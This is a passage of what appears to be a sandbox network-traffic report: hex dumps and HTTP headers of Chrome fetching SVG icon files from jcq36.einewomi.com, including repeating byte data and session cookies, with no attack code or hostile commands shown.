2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49787	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:05 UTC	1126	OUT	GET /mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	668	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l8%2BQng9LrfVjb5NFqdF7urO8H6OhXHlYpsO%2FeBwL6OB8F%2BWndu9IizKzAYdGp%2B4zs5peNUhlPAR%2FrVzPtwH8hOFmq2qB4phwWoJDila5SzQQ2kRGHTAp3X4FKraF2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87991110ffa67c89-LAX
2024-04-24 21:08:06 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49788	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:06 UTC	1119	OUT	GET /ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:06 UTC	661	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:06 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ypH9w40IgJX1m0ApPHPniT40RjNDle7oJN8nCPAzjJc5%2FqA%2FBR6ES%2FS83%2BjP1%2Bl8H2uZfIodvdOOyCtc0ah5J780r74n7C55W5P6YN7oETGqdlINgcf0emnGztN4xg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911147e337ce3-LAX
2024-04-24 21:08:06 UTC	708	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 Data Ascii: .9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.600
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 35 Data Ascii: C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.695
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 Data Ascii: 24L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.50
2024-04-24 21:08:06 UTC	1369	IN	Data Raw: 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e 33 Data Ascii: .7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.3
2024-04-24 21:08:06 UTC	1214	IN	Data Raw: 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 31 Data Ascii: 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513 1
2024-04-24 21:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49789	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:06 UTC	1129	OUT	GET /yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:07 UTC	675	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:07 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yzOjGmJZRfp6MuDr3pmkD5LZxwLbSd0sUt315UrsOHo8W9f7PGnesPXgKkUab175" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NCgNII1gYEJiKNG9TFH4qTzwtQVY4omvwMKhWOi7oZEtRw1qaUEwf5z2RvaT%2Fz5czJGd7syjIr5m67N%2BjU6w8x4a2Eao4DJSNbxr%2B%2FRRTB8EqX%2F%2FOaSz%2F2qCHoyrOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911173dbe14e0-LAX
